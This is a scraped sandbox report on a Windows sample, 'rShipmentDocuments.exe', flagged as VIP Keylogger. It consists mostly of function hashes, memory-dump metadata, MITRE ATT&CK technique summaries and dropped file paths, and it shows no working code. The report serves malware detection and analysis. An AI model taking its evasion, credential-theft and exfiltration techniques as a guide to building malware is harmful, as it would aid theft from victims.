Opcode Fuzzy Hash: 128bc301f919d28a9214235f84809aa9f4c772c38408fa988df659a20c6a8f6e
Instruction Fuzzy Hash: 43217A30E02248DFDB04CFA5D590AEEBFBAEF89201F188069E411F6290DB35D941DF20

Function 03036300 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fae15947c4674dce3918dc36910e3cff7d0485e8ecba2aa737872f95d0cc3128
Instruction ID: 26ac99def6ea5c8723f881c40ce49eadaccbcabe9d1bce787bd9c332e06eed26
Opcode Fuzzy Hash: fae15947c4674dce3918dc36910e3cff7d0485e8ecba2aa737872f95d0cc3128
Instruction Fuzzy Hash: 2711E535302515AFC7159A2AD49892EBBEAFFC66613180479E806CB750CF32DC028BD5

Function 0303F640 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1479e62665ad72a2e007c9060ebe7248413f4383f93b99f0ecce6efc9560da2b
Instruction ID: 7207865d01d493b73944fb34de79a3f8e260c33b7c6c00853e885517c1a56b58
Opcode Fuzzy Hash: 1479e62665ad72a2e007c9060ebe7248413f4383f93b99f0ecce6efc9560da2b
Instruction Fuzzy Hash: 092190B0D0020ACFCB55DFA8D98069EBFF2FF41300F1492A9D055AB365EB785A45CB80

Function 0123D54F Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4135321057.000000000123D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0123D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_123d000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 12f58f658e79da28f52c85e3d4846645a9ab6723f9746ea96beb2215dc851d9e
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 3411DFB6404284CFCB02CF44E5C4B16BF71FB84314F24C5A9D9090B256C336D45ADBA2

Function 030327F0 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b064b6fa03c891ac3047002ef35abb479f8fe297401488b0fc0bd11161852adf
Instruction ID: 2e64580d5f967a6554977b4304caa590074eb6c084b5cbd7a4f35f0aab8ae97b
Opcode Fuzzy Hash: b064b6fa03c891ac3047002ef35abb479f8fe297401488b0fc0bd11161852adf
Instruction Fuzzy Hash: 2921D075D0121ACFCB00EFA9D8456EEBBF4FB09310F10552AE805B6210EB345A89CBA1

Function 0303F650 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 527018be564b4865a8bec08ac9a923d0a6226d589fd446f801ca95b4c56a80e4
Instruction ID: 128c4be1d667288388785a2fc286c519d49d5906bc15d687e847be3e1c494077
Opcode Fuzzy Hash: 527018be564b4865a8bec08ac9a923d0a6226d589fd446f801ca95b4c56a80e4
Instruction Fuzzy Hash: 81113AB0D0020ADFCB44EFA9D580A9EBFF6FB44300F14D5B9D019AB365EB745A498B81

Function 013AD03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4135682125.00000000013AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_13ad000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: e9bb802380736ce62cd32d57fdfed96f3739866bd3ab3d8a7d3e164a4dce122c
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: BB11DD75544284CFDB12CF54C9C4B16BFA2FB88318F24C6AEE8494B652C33AD44ACF62

Function 03035E98 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fbfc6aa0e9bebebf1f62840a294cb243e4c2c584902d0b45f53bb200d3cc308
Instruction ID: af5ff4f0ea444ce8ef83bc78b4c944ef15443f135956b0b75dc8a5aace3c012f
Opcode Fuzzy Hash: 8fbfc6aa0e9bebebf1f62840a294cb243e4c2c584902d0b45f53bb200d3cc308
Instruction Fuzzy Hash: 6C0124337001186BCB05DE549C40BEF3BEAEBC9260F08802AF505CB640DE318D1597D4

Function 0303ABE0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b32ca50e45d8785873a63438701d0acc7e67aabe4393fcc137d8d3f3de0250b
Instruction ID: 86877baa26da81d239b6c7b75ba6010f01d65cf98141c69cf010e757a57f435f
Opcode Fuzzy Hash: 1b32ca50e45d8785873a63438701d0acc7e67aabe4393fcc137d8d3f3de0250b
Instruction Fuzzy Hash: 30F096353216104FCB15DA2E9854B2AB6EEEFCAA5535D807AE949C7361EE25CC038790

Function 0303E8E8 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e949e7b46c3ecbdd605767c1a28302c0887621eaf736cd54d79011c5f876b24
Instruction ID: d258a2a3ae0742e92779c728963927bcddfa6c8bf0d496930008a622be532c73
Opcode Fuzzy Hash: 8e949e7b46c3ecbdd605767c1a28302c0887621eaf736cd54d79011c5f876b24
Instruction Fuzzy Hash: 45012574D0020AEFCB01CFA8E844AEEBBB1FB89300F508079E915A3350D7389A52CF91

Function 030328AA Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2af7cfc720a8bda18527b89816c77183cd9919dd6c82bff9f69b3c0518ae381
Instruction ID: 35e726587b971ad9de97ac0f04bba7d48397584dc06cc42e04bd451f267646a1
Opcode Fuzzy Hash: b2af7cfc720a8bda18527b89816c77183cd9919dd6c82bff9f69b3c0518ae381
Instruction Fuzzy Hash: 5AE0C232D2022A57CB00EAA1DC404EFB738EEC1620B904222D85433100EF30765A82B2

Function 030328B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cba3d3201f2ca49dcb605e4234156fdf4f1d47bab7e73d5ad1906c11a1c60269
Instruction ID: 38500f3bade9f6392afe9a83f925e0f025d31839c3fe1b8d4446b912d8b1d3f2
Opcode Fuzzy Hash: cba3d3201f2ca49dcb605e4234156fdf4f1d47bab7e73d5ad1906c11a1c60269
Instruction Fuzzy Hash: 72D01231D2022A578B00AAA5DC044EEB738EE95665B504626D55437140EB70665986A2

Function 03036739 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 969e42339ee87252929d5f7e56949aeb9499e5cfc347bd898d7623ced2754734
Instruction ID: 9888fafebf1f760dd0c2a3c96070c223a535e8290faf02c4762380f1c2ba347a
Opcode Fuzzy Hash: 969e42339ee87252929d5f7e56949aeb9499e5cfc347bd898d7623ced2754734
Instruction Fuzzy Hash: 0BD05E320643054EC741F774ED8B7E6BB2AEB80220F544531E0060AE5EEF7C988856E9

Function 0303D6D4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 768615d35794675f10766f1d1b63729281f502d89073acf8e370d755225eab88
Instruction ID: 814edcaf5ec6434a87dc6574779d164a06c04e0c4302831db3e0a23f94f57637
Opcode Fuzzy Hash: 768615d35794675f10766f1d1b63729281f502d89073acf8e370d755225eab88
Instruction Fuzzy Hash: 84D04235E5410DCBCB20EFB8E5854DCBB75EB99321B10542BE925A3251DA305455CF11

Function 0303AFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7987d69de418b5ffee80271881e5b806914000af21653099ddc2c80efc9d82f7
Instruction ID: 69ec452f754fb46ba37ff1ec22219a9895ad591e3e18aace5873ef75afb651e8
Opcode Fuzzy Hash: 7987d69de418b5ffee80271881e5b806914000af21653099ddc2c80efc9d82f7
Instruction Fuzzy Hash: 78D0673AB40058DFCB049F99E8409DDFBB6FB98221B148117F915A3261CA319925DB94

Function 03036748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e58b121529fc49b02013e8ec035316d37ba14779914347578b2c5e9388b74a88
Instruction ID: 23000b377c8e2e9f234a32cf871af9a285a1603bdb0e288fe6935a83708619f3
Opcode Fuzzy Hash: e58b121529fc49b02013e8ec035316d37ba14779914347578b2c5e9388b74a88
Instruction Fuzzy Hash: 8BC012300543098EC601FB65ED46555772FEAD0200B409A30E00606A5DDF7D5D895694

Non-executed Functions

Function 03036920 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;^q, xrefs: 03036952
\;^q, xrefs: 03036936
\;^q, xrefs: 0303692C
\;^q, xrefs: 0303695E

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID: \;^q$\;^q$\;^q$\;^q
API String ID: 0-3001612457
Opcode ID: b0357ea86c5aa274627adb38aea73f960ab2d01c838fdb7b14f2c9fa5652dff0
Instruction ID: 1a90f30c2c020f0dea9abe511dcd214c3e4b5768bacccd4f0d2e7a8f9e7a5ff2
Opcode Fuzzy Hash: b0357ea86c5aa274627adb38aea73f960ab2d01c838fdb7b14f2c9fa5652dff0
Instruction Fuzzy Hash: 7901B531741108AFCB94CE2DC584929B7EFAF8AB60719446BD446CF3B4DA32DC418740

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report rShipmentDocuments.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: VIP Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ZOlmYtPdlO.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rShipmentDocuments.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2avoa3gt.4q0.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4krynbdl.33r.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5t3bh3t3.ehn.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jycxlpzp.vxt.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_me3gq5m1.waw.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_skfts1sn.dv5.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wysnqmj2.m2l.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xkydfyjv.g11.psm1

C:\Users\user\AppData\Local\Temp\tmp44A0.tmp

C:\Users\user\AppData\Local\Temp\tmp5356.tmp

Windows Analysis Report
rShipmentDocuments.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Application Log: Application Log Content, Cloud Storage: Cloud Storage Access, Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre